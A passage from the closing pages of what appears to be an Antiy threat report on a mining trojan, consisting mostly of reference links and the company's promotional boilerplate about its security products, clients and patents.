responding to security threats. Through more than 20 years of independent research and development, Antiy has
developed technological leadership in areas such as threat detection engines, advanced threat countermeasures, and

large-scale threat automation analysis.

©Antiy All Rights Reserved. Reprint without Loss is welcome . Page 22


https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/
https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/

ﬁ E * Analysis of the''Nichan''Mining Trojan Activity

Antiy has developed IEP (Intelligent Endpoint Protection System) security product family for PC, server and
other system environments, as well as UWP (Unified Workload Protect) security products for cloud hosts, container
and other system environments, providing system security capabilities including endpoint antivirus, endpoint
protection (EPP), endpoint detection and response (EDR), and Cloud Workload Protection Platform (CWPP) , etc.
Antiy has established a closed-loop product system of threat countermeasures based on its threat intelligence and
threat detection capabilities, achieving perception, retardation, blocking and presentation of the advanced threats
through products such as the Persistent Threat Detection System (PTD), Persistent Threat Analysis System (PTA),
Attack Capture System (ACS), and TDS. For web and business security scenarios, Antiy has launched the PTF Next-
generation Web Application and API Protection System (WAAP) and SCS Code Security Detection System to help
customers shift their security capabilities to the left in the DevOps process. At the same time, it has developed four
major kinds of security service: network attack and defense logic deduction, in-depth threat hunting, security threat
inspection, and regular security operations. Through the Threat Confrontation Operation Platform (XDR), multiple
security products and services are integrated to effectively support the upgrade of comprehensive threat confrontation

capabilities.

Antiy provides comprehensive security solutions for clients with high security requirements, including network
and information authorities, military forces, ministries, confidential industries, and critical information infrastructure.
Antiy has participated in the security work of major national political and social events since 2005 and has won
honors such as the Outstanding Contribution Award and Advanced Security Group. Since 2015, Antiy's products and
services have provided security support for major spaceflight missions including manned spaceflight, lunar
exploration, and space station docking, as well as significant missions such as the maiden flight of large aircraft,
escort of main force ships, and Antarctic scientific research. We have received several thank-you letters from relevant

departments.

Antiy is a core enabler of the global fundamental security supply chain. Nearly a hundred of the world's leading
security and IT enterprises have chosen Antiy as their partner of detection capability. At present, Antiy's threat
detection engine provides security detection capabilities for over 1.3 million network devices and over 3 billion smart
terminal devices worldwide, which has become a "national-level" engine. As of now, Antiy has filed 1,877 patents in
the field of cybersecurity and obtained 936 patents. It has been awarded the title of National Intellectual Property

Advantage Enterprise and the 17th (2015) China Patent Excellence Award.
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Antiy is an important enterprise node in China emergency response system and has provided early warning and
comprehensive emergency response in major security threats and virus outbreaks such as "Code Red", "Dvldr",
"Heartbleed", "Bash Shellcode" and "WannaCry". Antiy conducts continuous monitoring and in-depth analysis
against dozens of advanced cyberspce threat actors (APT groups) such as "Equation”, "White Elephant", "Lotus" and
"Greenspot" and their attack actions, assisting customers to form effective protection when the enemy situation is

accurately predicted.
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